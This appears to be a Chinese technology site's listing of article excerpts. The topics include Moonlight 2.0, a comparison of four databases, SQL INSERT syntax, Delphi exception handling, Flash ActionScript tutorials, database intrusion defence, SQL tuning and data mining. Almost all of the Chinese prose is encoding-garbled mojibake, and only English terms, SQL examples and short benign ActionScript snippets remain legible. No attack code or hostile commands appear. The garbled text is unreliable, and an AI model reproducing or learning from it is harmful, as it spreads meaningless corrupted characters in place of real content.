- [ Êý¾Ý¿â¿ª·¢ ] Moonlight 2.0½ôËæSilverlight¶øÀ´
µã»÷£º0¡¡·¢²¼ÈÕÆÚ£º02/15
Moonlight 2.0°æ±¾ÏÖÔÚ¿ÉÒÔ´ÓNovellµÄMonoÏîÄ¿ÍøÕ¾ÉÏÏÂÔØÁË£¬¿ÉÓÃÓÚFirefox²å¼þ¡£Õâ¸öÈí¼þÔÊÐíWMAÎļþºÍÄÚÈÝÔÚLinxÏÂÖ´ÐУ¬²¢Ê¹ÓÃ΢ÈíµÄ ¸»»¥ÁªÍøSilverligh¼¼Êõ¡£Ðµİ汾£¬Ô¶¨¼¸¸öÔÂÕÃÍÆ³ö£¬Ä¿Ç°ÊÇΪÁ˹㷺¼æÈÝSilverlight 2.0¡£
µ±Ç°Î¢ÈíµÄRIA²úÆ·Îȶ¨°æ±¾ÊÇ3.0£¬µ«¹«Ë¾ÒѾÔÚËûµÄרҵ¿ª·¢Õß´ó»áÉÏÍÆ³öÁË4.0²âÊÔ°æ¡£Èç¹ûMoonligh¿ª·¢ÍŶÓÄܰ´È«µÄÐÛÐÄÄ¿±ê£¬¸ù ¾Ý·Ïßͼ¼Æ»®Silverlight 3µÄLinuxʵÏÖÓ¦¸ÃÔÚ2010ÄêµÚÈý¼¾¶ÈÍÆ³ö£¬½ìʱҲ½«ÍƳöMoonlight 4 alpha°æ±¾¡£
ÓÐýÌ屨µ¼ÒýÓÃÁËNovell²úÆ·¿ª·¢¸±×ܲÃMiguel de Icaza£¬Ëû˵ÔÚMoonlight 2Öн«°üº¬Ò»Ð© Silverlight 3½éÉÜÖеŦÄÜ¡£ÀýÈ磺ģ¿é»¯Ã½Ìå¹ÜµÀ£¬OggºÍDirac±à½âÂëÆ÷£¬¸Ä½øÁËÁ÷ýÌ幦ÄÜÈÃÓû§ÔÚÊÓÆµÖÐǰ½øºóÍ˼¸ºõ¿´²»µ½ÑÓ³Ù¡£ 3DÏñËØäÖȾûÓÐʵÏÖ¡£
MoonlightµÄ¿ª·¢ÕßÓ¦ÓóÌÐòÐèҪʹÓÃMicrosoftµÄVisual Studio¿ª·¢»·¾³»òMonoDevelop£¬ËüµÄ2.2°æ±¾×òÌì¸Õ¸Õ·¢²¼¡£Mono runtime°üÀ¨ÁËMoonlight 2½«ÔÊÐí C#, Ruby, PythonºÍJavaScript¿ª·¢ÕßΪMoonlight¿ª·¢Ó¦Óá£
×îºó»¹Ìáµ½ÁËרԼÎÊÌ⣬΢Èí³Ðŵ²»»áÆðËßÓû§ºÍ³§ÉÌʹÓÃMoonlightÖеÄ΢Èí¼¼Êõ£¬ÕâÒâζ×Ålinux·¢Ðа棬ÈçUbuntu»òFedora½«¿ÉÒÔ°üÀ¨Moonlight·¢ÐÐ..
- [ Êý¾Ý¿â¿ª·¢ ] ËÄ´óÊý¾Ý¿âµÄ±È½Ï£¨SQL Server¡¢Oracle¡¢SybaseºÍDB2£©..
µã»÷£º8060¡¡·¢²¼ÈÕÆÚ£º08/03
¡¡±¾ÆªÒýÓÃÓÚ¹«Ë¾Êý¾Ý¿â¸ßÊÖµÄÎÄÕ¡£´¿Êô¸öÈËÒâ¼û¡£ ¡¡¡¡¿ª·ÅÐÔ: ¡¡¡¡SQL Server ¡¡¡¡Ö»ÄÜÔÚwindowsÉÏÔËÐУ¬Ã»ÓÐË¿ºÁµÄ¿ª·ÅÐÔ£¬²Ù×÷ϵͳµÄϵͳµÄÎȶ¨¶ÔÊý¾Ý¿âÊÇÊ®·ÖÖØÒªµÄ¡£Windows9XϵÁвúÆ·ÊÇÆ«ÖØÓÚ×ÀÃæÓ¦Óã¬NT serverÖ»ÊʺÏÖÐСÐÍÆóÒµ¡£¶øÇÒwindowsƽ̨µÄ¿É¿¿ÐÔ£¬°²È«ÐÔºÍÉìËõÐÔÊǷdz£ÓÐÏ޵ġ£Ëü²»ÏóunixÄÇÑù¾Ã¾¿¼Ñ飬ÓÈÆäÊÇÔÚ´¦Àí´óÊý¾Ý¡¡¡¡Oracle ¡¡¡¡ÄÜÔÚËùÓÐÖ÷Á÷ƽ̨ÉÏÔËÐУ¨°üÀ¨ windows£©¡£Íêȫ֧³ÖËùÓеĹ¤Òµ±ê×¼¡£²ÉÓÃÍêÈ«¿ª·Å²ßÂÔ¡£¿ÉÒÔʹ¿Í»§Ñ¡Ôñ×îÊʺϵĽâ¾ö·½°¸¡£¶Ô¿ª·¢ÉÌÈ«Á¦Ö§³Ö¡£ ¡¡¡¡Sybase ASE ¡¡¡¡ÄÜÔÚËùÓÐÖ÷Á÷ƽ̨ÉÏÔËÐУ¨°üÀ¨ windows£©¡£ µ«ÓÉÓÚÔçÆÚSybaseÓëOS¼¯³É¶È²»¸ß£¬Òò´ËVERSION 11.9.2ÒÔϰ汾ÐèÒª½Ï¶àOSºÍ DB¼¶²¹¶¡¡£ÔÚ¶àÆ½Ì¨µÄ»ìºÏ»·¾³ÖУ¬»áÓÐÒ»¶¨ÎÊÌâ¡£¡¡¡¡DB2 ¡¡¡¡ÄÜÔÚËùÓÐÖ÷Á÷ƽ̨ÉÏÔËÐУ¨°üÀ¨windows£©¡£×îÊÊÓÚº£Á¿Êý¾Ý¡£DB2ÔÚÆóÒµ¼¶µÄÓ¦ÓÃ×îΪ¹ã·º£¬ÔÚÈ«ÇòµÄ500¼Ò×î´óµÄÆóÒµÖÐ,¼¸ºõ85%ÒÔÉÏÓÃDB2Êý¾Ý¿â·þÎñÆ÷£¬¶ø¹úÄÚµ½97ÄêÔ¼Õ¼5%¡£¡¡¡¡¿ÉÉìËõÐÔ£¬²¢ÐÐÐÔ ¡¡¡¡SQL server ¡¡¡¡²¢ÐÐʵʩºÍ¹²´æÄ£ÐͲ¢²»³ÉÊì¡£ºÜÄÑ´¦ÀíÈÕÒæÔö¶àµÄÓû§ÊýºÍÊý¾Ý¾í¡£ÉìËõÐÔÓÐÏÞ¡£ ¡¡¡¡Oracle ¡¡¡¡²¢ÐзþÎñÆ÷ͨ¹ýʹһ×é½áµã¹²Ïíͬһ´ØÖеŤ×÷À´À©Õ¹windowntµÄ..
- [ Êý¾Ý¿â¿ª·¢ ] SQLºËÐÄÓï¾ä(·Ç³£ÊµÓõö¼¼ÇÉ)
µã»÷£º6443¡¡·¢²¼ÈÕÆÚ£º08/03
_ArticleContent1_lblContent>²åÈëÊý¾Ý Ïò±íÖÐÌí¼ÓÒ»¸öмǼ£¬ÄãҪʹÓÃSQL INSERT Óï¾ä¡£ÕâÀïÓÐÒ»¸öÈçºÎʹÓÃÕâÖÖÓï¾äµÄÀý×Ó£º INSERT mytable (mycolumn) VALUES (¡®some data¡¯) Õâ¸öÓï¾ä°Ñ×Ö·û´®¡¯some data¡¯²åÈë±ímytableµÄmycolumn×Ö¶ÎÖС£½«Òª±»²åÈëÊý¾ÝµÄ×ֶεÄÃû×ÖÔÚµÚÒ»¸öÀ¨ºÅÖÐÖ¸¶¨£¬Êµ¼ÊµÄÊý¾ÝÔÚµÚ¶þ¸öÀ¨ºÅÖиø³ö¡£ INSERT Óï¾äµÄÍêÕû¾ä·¨ÈçÏ£º INSERT [INTO] {table_name|view_name} [(column_list)] {DEFAULT VALUES | Values_list | select_statement} Èç¹ûÒ»¸ö±íÓжà¸ö×ֶΣ¬Í¨¹ý°Ñ×Ö¶ÎÃûºÍ×Ö¶ÎÖµÓöººÅ¸ô¿ª£¬Äã¿ÉÒÔÏòËùÓеÄ×Ö¶ÎÖвåÈëÊý¾Ý¡£¼ÙÉè±ímytableÓÐÈý¸ö×Ö¶Îfirst_column,second_column,ºÍthird_column¡£ÏÂÃæµÄINSERTÓï¾äÌí¼ÓÁËÒ»ÌõÈý¸ö×ֶζ¼ÓÐÖµµÄÍêÕû¼Ç¼£º INSERT mytable (first_column,second_column,third_column) VALUES (¡®some data¡¯,¡¯some more data¡¯,¡¯yet more data¡¯) ×¢Òâ Äã¿ÉÒÔʹÓÃINSERTÓï¾äÏòÎı¾ÐÍ×Ö¶ÎÖвåÈëÊý¾Ý¡£µ«ÊÇ£¬Èç¹ûÄãÐèÒªÊäÈëºÜ³¤µÄ×Ö·û´®£¬ÄãÓ¦¸ÃʹÓÃWRITETEXTÓï¾ä¡£Õⲿ·ÖÄÚÈݶԱ¾ÊéÀ´ËµÌ«¸ß¼¶ÁË£¬Òò´Ë²»¼ÓÌÖÂÛ¡£ÒªÁ˽â¸ü¶àµÄÐÅÏ¢£¬Çë²Î¿¼Microsoft SQL Sever µÄÎĵµ¡£ Èç¹ûÄãÔÚINSERT Óï¾äÖÐÖ»Ö¸¶¨Á½¸ö×ֶκÍ..
- [ ] Êýѧ±í´ïʽµÄ¼ÆË㡪¡ªÈçºÎ²¶×½Òì³£
µã»÷£º733¡¡·¢²¼ÈÕÆÚ£º12/16
ÔÚд³ÌÐòµÄ¹ý³ÌÖУ¬ÄÑÃâ»á³öÏÖ¸÷ÖÖ¸÷ÑùµÄÇé¿ö£¬ÓеÄÇé¿öÒ²Ðí²»ÊÇÎÒÃÇÏëÒªµÄ¡£ÓеÄÈËÒ²Ðí»áÓúܶàÅжÏÒªÑϸñ¿ØÖƳÌÐò£¬Ê¹Æä²»»á³öÏÖÒì³£Çé¿ö£¬µ«ÕâÑù×ö¿ÉÄÜ»áÔö¼Óд³ÌÐòµÄÄѶȡ£ÆäʵÎÒÃÇ»¹¿ÉÒÔÓÃÒ»ÖÖ¸ü¼Ó¼ò±ãµÄ·½·¨£¬ÄǾÍÊÇÒì³£¡£ÔÚ³ÌÐòÖкÏÀíµÄʹÓÃÒì³£½«Ê¹ÄãÔÚд³ÌÐòÖÐʡȥºÜ¶à·³ÄÕ¡£ÔÚDelphiÖУ¬Borland ÒѾΪÎÒÃǶ¨ÒåÁ˺ܶàÒì³£µÄÀ࣬ÎÒÃÇ¿ÉÒÔÖ±½ÓʹÓᣵ«ÊÇÈç¹ûÎÒÃDz»È¥¹ÜÒì³£µÄ»°£¬»áʹ³ÌÐòµÄµÄ½çÃæÂÒÆß°ËÔ㣬ÏÂÃæ¾Í½éÉÜÁ½ÖÖ³£ÓõÄÒì³£²¶×½·½·¨¡£
¹ØÓÚ¼ÆËãÊýѧ±í´ïʽ£¬²»Í¬µÄÈËÓÐ×Ô¼º²»Í¬µÄ×ö·¨¡£ÓеÄÓýâÎö±í´ïʽµÄ·½·¨£¬ÄÇÖÖ·½·¨ÐèÒªÓбàÒëµÄ֪ʶ£¬ÏÂÃæÓõķ½·¨ºÜ¼òµ¥£¬Ã»Óм¸¸ö´úÂë±ã¿ÉÒÔ½øÐи´ÔÓµÄÔËËã¡£Èç¹û±í´ïʽÖÐÓдíÎ󣬻¹¿ÉÒÔµ¯³ö¶Ô»°¿òÌáʾ£¬Ö¸³öÏàÓ¦µÄ´íÎó¡£±¾³ÌÐòËùÓõľÍÊDZê×¼µÄSQLÓï¾ä£¬Ö§³ÖºÜ¶àÔËË㣬»ù±¾ÔËËãÈ磺¼Ó¡¢¼õ¡¢³Ë¡¢³ý¡¢Õû³ý£»Âß¼ÔËËãÈ磺AND¡¢OR¡¢XOR¡¢NOT£»ÊýѧÔËËãÈ磺COS¡¢SINµÈ¡£ÁíÍ⻹ÓÐ×Ö·û´®ÔËË㣬²»¹ýÄÇûʲôÒâÒ壬ÈçÄãÊäÈë¡°Left('Abcd',2)¡±£¬Ëü¾Í»á¼ÆËã³ö¡°=Ab¡±¡£ÓÉÓÚ±¾³ÌÐò±¾ÕÕ×ÅÉÏÃæËùÊöµÄ×ÚÖ¼£¬Ã»¶ÔÕâЩ×öÌ«¶àµÄÏÞÖ¹£¬ÓÐÐËȤµÄÅóÓÑ¿ÉÒÔÊÂÏÈÏȼì²é±í´ïʽµÄÓï·¨£¬È»ºóÔÙ½»¸ø±¾..
- [ ] µ¼ÈëµçÓ°µÄ¿ØÖÆ
µã»÷£º581¡¡·¢²¼ÈÕÆÚ£º12/16
1£¬½ûÖ¹µ¼ÈëµçÓ°£¬Ð´ÔÚµÚÒ»èåÉÏ_root._name = "nn";this.onEnterFrame = function() { if (this._name != "nn" || _root.getDepth() != -16384) { this.unloadMovie(); }};2£¬Ö»Äܵ¼È룬²»ÄÜÖ±½Ó²¥·Å_root.onLoad = function() { if (this._level == _level0 || _parent == undefined) { loadMovieNum("", 0); }};3£¬µ¼ÈëÍê±Ï£¬¿ØÖƵçÓ°ÊôÐÔ£¬Éèµ¼ÈëµçÓ°¼ô¼mcÖÐ_root.onEnterframe=function(){if(mc._width!=0){ËùÉèÊôÐÔ}}4£¬Ê¹µ¼ÈëµÄͼƬÔÚÒ»¶¨´óСonClipEvent &n..
- [ ] µçÓ°¼ô¼ÊôÐÔÏê½â
µã»÷£º698¡¡·¢²¼ÈÕÆÚ£º12/16
ÕâÊÇÀ´×Ô±±¾©Ï£Íûµç×Ó³ö°æÉçµÄ¡¶FLASHMX¡¡ActionScript±ê×¼½Ì³Ì¡· ÔÚMacromedia Flash MX ¶¯×÷Ãæ°åÖпª±ÙÁËÒ»¸öרÃŵÄProperties(ÊôÐÔ)·ÖÀàÀ´·½±ãÓû§µ÷ÓÃÊôÐÔ¡£ÕâЩÊôÐÔ¿ÉÒÔÓ¦ÓÃÓÚʱ¼äÖá¡¢µçÓ°¼ô¼ºÍ°´Å¥¶ÔÏó£¬Èçͼ£º_alpha µçÓ°¼ô¼ÊµÀýµÄ͸Ã÷¶ÈÖµ¡£Í¸Ã÷¶ÈÖµµÄȡֵ·¶Î§Îª0~100¡£0±íʾÍêȫ͸Ã÷£¬100±íʾÍêÈ«²»Í¸Ã÷¡£ÔÚÎę̀ÉÏ¿ÉÒÔͨ¹ýÊôÐÔ¼ì²éÆ÷ÉèÖöÔÏóµÄ͸Ã÷¶ÈÊôÐÔ£¬Èçͼ£ºÌáʾ£ºÍ¸Ã÷¶ÈΪ0µÄ¶ÔÏóËäÈ»²»¿É¼û£¬µ«ÊÇËüÈÔÈ»´¦ÓÚ¼¤»î״̬¡£°´Å¥±»µ¥»÷ÒÀÈ»»áÓÐÏìÓ¦¡£_currentrfame ²¥·Å´ÅÍ·µ±Ç°Î»ÖõÄÖ¡±àºÅ¡£Ê±¼äÖáÖеÄÖ¡±àºÅÒÔ5Ϊµ¥Î»µÝ½ø¡£ _droptarget ʹÓÃб¸ÜÓï·¨±íʾµÄµçÓ°¼ô¼ÊµÀýµÄ¾ø¶Ô·¾¶¡£¸ÃµçÓ°¼ô¼ÊµÀý½«×÷Ϊ¿ÉÍ϶¯µçÓ°¼ô¼µÄÄ¿±êͶ·ÅλÖá£_focusrect ָʾ¾ßÓн¹µãµÄµçÓ°¼ô¼ÊÇ·ñÓлÆÉ«¾ØÐλ·ÈÆ£¬¸ÃÊôÐÔĬÈÏֵΪtrue¡£_framesloaded ´ÓÁ÷ʽµçÓ°ÖÐÔØÈëµÄÖ¡Êý¡£_height &nbs..
- [ ] °´Å¥µÄÖÆ×÷
µã»÷£º704¡¡·¢²¼ÈÕÆÚ£º12/16
½ñÌìÎÒÃÇÀ´×öÒ»¸ö°´Å¥£¬Õâ¸ö°´Å¥ÊÇÉÁ°ÉÔÎļþÀïÌṩµÄ£¬ÒòΪÓкܶàµÄÅóÓÑ»¹ÊDz»Ì«ÊìϤ°´Å¥µÄÖÆ×÷£¬ËùÒÔÌØ±ðдÁËÕâ¸ö½Ì³Ì¡£Ê×ÏÈ´Ó×î¼òµ¥µÄ£¬°´Å¥ÖÆ×÷¿ªÊ¼½²½â¡£ÏÈÀ´×öÒ»¸ö¼òµ¥µÄ°´Å¥£¬°´Å¥ÊÇ·ÖËÄÖÖ״̬µÄ£¬·Ö±ðÊÇ£ºup,over,down,hit.ÓÃÖÐÎÄÀ´½âÊÍ£¬¾ÍÊÇÔʼ״̬£¬¾¹ýʱµÄ״̬£¬°´ÏÂÈ¥µÄ״̬£¬µã»÷״̬¡£Ò»°ã×îºóÒ»¸ö״̬¾³£ÔÚ×öÒþÐΰ´Å¥Ê±Óõ½¡£1.н¨Ò»¸öÎĵµ£¬´óСΪ140*21,Ñ¡Ôñ²åÈëÒ»¸öзûºÅ£¬ÀàÐÍÑ¡Ôñ°´Å¥¡£µãÈ·¶¨£¬ÕâÑùÎÒÃǾͽøÈëÁ˰´Å¥µÄ±à¼×´Ì¬£¬ÕâʱºòÎÒÃÇ¿ÉÒÔ¿´µ½°´Å¥µÄËĸö״̬£¬Í¬Ê±Ö»ÓÐÔʼ״̬ÉÏÓÐÒ»¸ö°×É«µÄԲȦ£¬Õâ±íʾÎÒÃÇ¿ÉÒÔÔÚÀïÃæ·ÅÈëͼÐΣ¬Ñ¡Ôñ¾ØÐΣ¬ÎÒÃÇÔÚÎę̀ÉÏÍϳöÒ»¸ö¾ØÐΣ¬µ±È»Äã¿ÉÒÔ·ÅÖÃÈκÎÄãÏëÒªµÄͼÐΣ¬µ¼Èëµ½¿âÖеľ¹ý´¦ÀíµÄͼÏóÒ²¿ÉÒÔ¡£¡£ÎÒÃÇ¿ÉÒÔ·Ö±ðÑ¡Öа´Å¥µÄÁíÍâÈý¸ö״̬£¬°´ÓÒ¼ü²åÈë¿Õ°×¹Ø¼üÖ¡£¬·Ö±ð·ÅÈëÎÒÃÇÏëÒªµÄͼÐΡ£3¡£ÔÚÕâÀïÎÒÔÚ¾¹ý״̬·ÅÈëµÄÊÇÒ»¸öµçÓ°¼ô¼£¬ºóÃæÎÒÃǽ«×öÕâ¸öµçÓ°¼ô¼£¬ÏÖÔÚÏÈ¿´Ò»ÏÂЧ¹û¡£4¡£°ÑÎÒÃǸղÅ×öºÃµÄ°´Å¥ÍÏÈëÖ÷³¡¾°£¬°´ctrl+enter²âÊÔЧ¹û¡£[È«ÆÁÐÀÉÍ]Õâ¸ö°´Å¥µÄЧ¹ûÊǵ±Êó±ê¾¹ýµÄʱºò,»áÓÐÒ»¸öºÚÉ«µÄ½¥±ä»®¹ý. ÏÖÔÚÎÒÃÇ×öÕâ¸öºÚÉ«½¥±äµÄЧ¹û¡£1¡£Ð½¨Ò»¸ö·ûºÅ£¬ÀàÐÍÑ¡ÔñͼÐΣ¬Ãû×ÖΪ¾ØÐΣ¬°´È·¶¨..
- [ ] FLASH2004ʱ¼äÖáÌØÐ§µÄÓ¦ÓÃ
µã»÷£º655¡¡·¢²¼ÈÕÆÚ£º12/16
ʱ¼äÖáÌØÐ§¿ÉÒÔÓ¦ÓÃÓÚÒÔϵĶÔÏó£ºÎı¾¡¢Í¼ÐΡ¢Î»Í¼¡¢°´Å¥Í¼·û£¬¸øÒ»¸ö°´Å¥Ìí¼Óʱ¼äÖáÌØÐ§Ê±£¬FLASA»áн¨Ò»¸ö²ã£¬È»ºó°Ñ¸Ã¶ÔÏó´«Ë͵½Ð½¨µÄ²ã¡£Ìí¼Óʱ¼äÖáÌØÐ§Ê±£¬ÔÚͼ·û¿âÖлáÌí¼ÓÒ»¸öÒÔÌØÐ§ÃûÃüÃûµÄÎļþ¼Ð£¬ÄÚº¬¸ÃÌØÐ§ËùÓõÄÔªËØ¡££¨¶ÔµçÓ°¼ô¼Ó¦ÓÃʱ¼äÖáÌØÐ§Ê±£¬FLASHÔÚµçÓ°¼ô¼ÄÚ²¿Ç¶Ì×ÌØÐ§£© µã»÷ä¯ÀÀ¸ÃÎļþ1¡¢¿´¿´ÈçºÎÓ¦Óðɣ¬±¾ÎÄÒÔÒ»¸öÎı¾ÎªÀý£¬ÏÈÔÚ³¡¾°Öд´½¨Ò»¸öÎı¾¡°ÉÁ°É½Ì²ÄÇø¡±£¬²¢½«Ëüת»¯³ÉӰƬ¼ô¼£¨°´F8£©¡£2¡¢È»ºóÑ¡Ôñ²åÈ롪¡ªÊ±¼äÖáÌØÐ§¡ª¡ªÐ§¹û¡ª¡ª·ÖÀ룬Èçͼ£º3¡¢ÔÚÏÔʾµÄÌØÐ§ÉèÖÃÖпÉÔ¤ÀÀĬÈÏÉèÖõÄÔ¤ÀÀ£¬Èç¹û²»ÂúÒâ¿ÉÒÔ×Ô¼ºÉèÖòÎÊý£¬È»ºóÑ¡Ôñ¸üÐÂÔ¤ÀÀ¹Û¿´¸ü¸ÄºóµÄЧ¹û¡£Èçͼ£º·ÖÀëÌØÐ§µÄ»ù±¾²ÎÊý£ºÐ§¹û³ÖѧµÄʱ¼ä£ºÑ¡ÔñЧ¹û³ÖÐøµÄÖ¡Êý·ÖÀë·½Ïò£ºµã·½Ïò°´Å¥£¬¿ÉÉèÖ÷ÖÀëÌØÐ§µÄÔ˶¯µÄ·½Ïò»¡Ïß´óС£ºÉèÖÃx·½ÏòºÍy·½ÏòµÄÆ«ÒÆÁ¿¡£Ë鯬ÐýתÁ¿£ºÉèÖÃË鯬µÄÐýת·½ÏòË鯬´óС¸ü¸ÄÁ¿£º¸Ä±äË鯬µÄ´óС×îÖÕµÄAlpha:ÉèÖÃ×îÖÕµÄ͸Ã÷¶È°Ù·ÖÊý4¡¢Èç¹û¸Ð¾õÂúÒâµ¥»÷È·¶¨°´Å¥¡£FLASH½«ÔÚʱ¼äÖá×Ô¶¯Ìí¼Ó´´½¨ÌØÐ§ËùÐèµÄÖ¡£¬Èç¹ûÄã¶ÔÌí¼ÓµÄ²»ÂúÒ⣬ÔÚÑ¡¶¨µÄ¶ÔÏóÉÏÓÒ»÷£¬ÔÚ¿ì½Ý²Ëµ¥ÖÐÑ¡Ôñʱ¼äÖáÌØÐ§¡ª¡ª±à¼ÌØÐ§£¬»òÔÚÐ޸IJ˵¥ÏÂÐ޸ġ£Èçͼ£ºÆäËüµÄʱ¼äÖáÌØÐ§µÄÓ÷¨ºÍÕâ¸ö..
- [ Êý¾Ý¿â¿ª·¢ ] Êý¾Ý¿âϵͳ·ÀºÚ¿ÍÈëÇÖ¼¼Êõ×ÛÊö
µã»÷£º1111¡¡·¢²¼ÈÕÆÚ£º01/27
¡¡¡¡1. ǰÑÔ
¡¡¡¡Ëæ×żÆËã»ú¼¼ÊõµÄ·ÉËÙ·¢Õ¹£¬Êý¾Ý¿âµÄÓ¦ÓÃÊ®·Ö¹ã·º£¬ÉîÈëµ½¸÷¸öÁìÓò£¬µ«ËæÖ®¶øÀ´²úÉúÁËÊý¾ÝµÄ°²È«ÎÊÌâ¡£¸÷ÖÖÓ¦ÓÃϵͳµÄÊý¾Ý¿âÖдóÁ¿Êý¾ÝµÄ°²È«ÎÊÌâ¡¢Ãô¸ÐÊý¾ÝµÄ·ÀÇÔÈ¡ºÍ·À´Û¸ÄÎÊÌ⣬ԽÀ´Ô½ÒýÆðÈËÃǵĸ߶ÈÖØÊÓ¡£Êý¾Ý¿âϵͳ×÷ΪÐÅÏ¢µÄ¾Û¼¯Ì壬ÊǼÆËã»úÐÅϢϵͳµÄºËÐIJ¿¼þ£¬Æä°²È«ÐÔÖÁ¹ØÖØÒª£¬¹ØÏµµ½ÆóÒµÐËË¥¡¢¹ú¼Ò°²È«¡£Òò´Ë£¬ÈçºÎÓÐЧµØ±£Ö¤Êý¾Ý¿âϵͳµÄ°²È«£¬ÊµÏÖÊý¾ÝµÄ±£ÃÜÐÔ¡¢ÍêÕûÐÔºÍÓÐЧÐÔ£¬ÒѾ³ÉΪҵ½çÈËʿ̽Ë÷Ñо¿µÄÖØÒª¿ÎÌâÖ®Ò»£¬±¾ÎľͰ²È«·ÀÈëÇÖ¼¼Êõ×ö¼òÒªµÄÌÖÂÛ¡£
¡¡¡¡Êý¾Ý¿âϵͳµÄ°²È«³ýÒÀÀµ×ÔÉíÄÚ²¿µÄ°²È«»úÖÆÍ⣬»¹ÓëÍâ²¿ÍøÂç»·¾³¡¢Ó¦Óû·¾³¡¢´ÓÒµÈËÔ±ËØÖʵÈÒòËØÏ¢Ï¢Ïà¹Ø£¬Òò´Ë£¬´Ó¹ãÒåÉϽ²£¬Êý¾Ý¿âϵͳµÄ°²È«¿ò¼Ü¿ÉÒÔ»®·ÖΪÈý¸ö²ã´Î£º
¡¡¡¡¢Å ÍøÂçϵͳ²ã´Î£»
¡¡¡¡¢Æ ËÞÖ÷²Ù×÷ϵͳ²ã´Î£»
¡¡¡¡¢Ç Êý¾Ý¿â¹ÜÀíϵͳ²ã´Î¡£
¡¡¡¡ÕâÈý¸ö²ã´Î¹¹Öþ³ÉÊý¾Ý¿âϵͳµÄ°²È«Ìåϵ£¬ÓëÊý¾Ý°²È«µÄ¹ØÏµÊÇÖð²½½ôÃܵ쬷À·¶µÄÖØÒªÐÔÒ²Öð²ã¼ÓÇ¿£¬´ÓÍâµ½ÄÚ¡¢ÓÉ±í¼°Àï±£Ö¤Êý¾ÝµÄ°²È«¡£ÏÂÃæ¾Í°²È«¿ò¼ÜµÄÈý¸ö²ã´ÎÕ¹¿ªÂÛÊö¡£
¡¡¡¡2. ÍøÂçϵͳ²ã´Î°²È«¼¼Êõ
¡¡¡¡´Ó¹ãÒåÉϽ²£¬Êý¾Ý¿âµÄ°²È«Ê×ÏÈÒÐÀµÓÚÍøÂçϵͳ¡£Ëæ×ÅInternetµÄ·¢Õ¹ÆÕ¼°£¬Ô½À´Ô½¶àµÄ¹«Ë¾½«ÆäºËÐÄÒµ..
- [ Êý¾Ý¿â¿ª·¢ ] SQLÓï¾äÐÔÄܵ÷ÕûÔÔò
µã»÷£º3056¡¡·¢²¼ÈÕÆÚ£º11/03
Ò»¡¢ÎÊÌâµÄÌá³öÔÚÓ¦ÓÃϵͳ¿ª·¢³õÆÚ£¬ÓÉÓÚ¿ª·¢Êý¾Ý¿âÊý¾Ý±È½ÏÉÙ£¬¶ÔÓÚ²éѯSQLÓï¾ä£¬¸´ÔÓÊÓͼµÄµÄ±àдµÈÌå»á²»³öSQLÓï¾ä¸÷ÖÖд·¨µÄÐÔÄÜÓÅÁÓ£¬µ«ÊÇÈç¹û½«Ó¦ÓÃϵͳÌύʵ¼ÊÓ¦Óúó£¬Ëæ×ÅÊý¾Ý¿âÖÐÊý¾ÝµÄÔö¼Ó£¬ÏµÍ³µÄÏìÓ¦ËٶȾͳÉΪĿǰϵͳÐèÒª½â¾öµÄ×îÖ÷ÒªµÄÎÊÌâÖ®Ò»¡£ÏµÍ³ÓÅ»¯ÖÐÒ»¸öºÜÖØÒªµÄ·½Ãæ¾ÍÊÇSQLÓï¾äµÄÓÅ»¯¡£¶ÔÓÚº£Á¿Êý¾Ý£¬ÁÓÖÊSQLÓï¾äºÍÓÅÖÊSQLÓï¾äÖ®¼äµÄËٶȲî±ð¿ÉÒÔ´ïµ½Éϰٱ¶£¬¿É¼û¶ÔÓÚÒ»¸öϵͳ²»ÊǼòµ¥µØÄÜʵÏ֯书ÄܾͿɣ¬¶øÊÇҪд³ö¸ßÖÊÁ¿µÄSQLÓï¾ä£¬Ìá¸ßϵͳµÄ¿ÉÓÃÐÔ¡£ÔÚ¶àÊýÇé¿öÏ£¬OracleʹÓÃË÷ÒýÀ´¸ü¿ìµØ±éÀú±í£¬ÓÅ»¯Æ÷Ö÷Òª¸ù¾Ý¶¨ÒåµÄË÷ÒýÀ´Ìá¸ßÐÔÄÜ¡£µ«ÊÇ£¬Èç¹ûÔÚSQLÓï¾äµÄwhere×Ó¾äÖÐдµÄSQL´úÂë²»ºÏÀí£¬¾Í»áÔì³ÉÓÅ»¯Æ÷ɾȥË÷Òý¶øÊ¹ÓÃÈ«±íɨÃ裬һ°ã¾ÍÕâÖÖSQLÓï¾ä¾ÍÊÇËùνµÄÁÓÖÊSQLÓï¾ä¡£ÔÚ±àдSQLÓï¾äʱÎÒÃÇÓ¦Çå³þÓÅ»¯Æ÷¸ù¾ÝºÎÖÖÔÔòÀ´É¾³ýË÷Òý£¬ÕâÓÐÖúÓÚд³ö¸ßÐÔÄܵÄSQLÓï¾ä¡£¶þ¡¢SQLÓï¾ä±àдעÒâÎÊÌâÏÂÃæ¾ÍijЩSQLÓï¾äµÄwhere×Ó¾ä±àдÖÐÐèҪעÒâµÄÎÊÌâ×÷Ïêϸ½éÉÜ¡£ÔÚÕâЩwhere×Ó¾äÖУ¬¼´Ê¹Ä³Ð©ÁдæÔÚË÷Òý£¬µ«ÊÇÓÉÓÚ±àдÁËÁÓÖʵÄSQL£¬ÏµÍ³ÔÚÔËÐиÃSQLÓï¾äʱҲ²»ÄÜʹÓøÃË÷Òý£¬¶øÍ¬ÑùʹÓÃÈ«±íɨÃ裬Õâ¾ÍÔì³ÉÁËÏìÓ¦Ëٶȵļ«´ó½µµÍ¡£1. IS NULL Óë IS NOT NULL..
- [ Êý¾Ý¿â¿ª·¢ ] Êý¾Ý¿âµÄÊý¾ÝÍÚ¾ò¸ÅÊö£¨Ò»£©
µã»÷£º3937¡¡·¢²¼ÈÕÆÚ£º11/03
Ëæ×ÅÊý¾Ý¿â¼¼ÊõµÄ²»¶Ï·¢Õ¹¼°Êý¾Ý¿â¹ÜÀíϵͳµÄ¹ã·ºÓ¦Óã¬Êý¾Ý¿âÖд洢µÄÊý¾ÝÁ¿¼±¾çÔö´ó£¬ÔÚ´óÁ¿µÄÊý¾Ý±³ºóÒþ²Ø×ÅÐí¶àÖØÒªµÄÐÅÏ¢£¬Èç¹ûÄܰÑÕâЩÐÅÏ¢´ÓÊý¾Ý¿âÖгéÈ¡³öÀ´£¬½«Îª¹«Ë¾´´ÔìºÜ¶àDZÔÚµÄÀûÈ󣬶øÕâÖÖ´Óº£Á¿Êý¾Ý¿âÖÐÍÚ¾òÐÅÏ¢µÄ¼¼Êõ£¬¾Í³ÆÖ®ÎªÊý¾ÝÍÚ¾ò¡£ 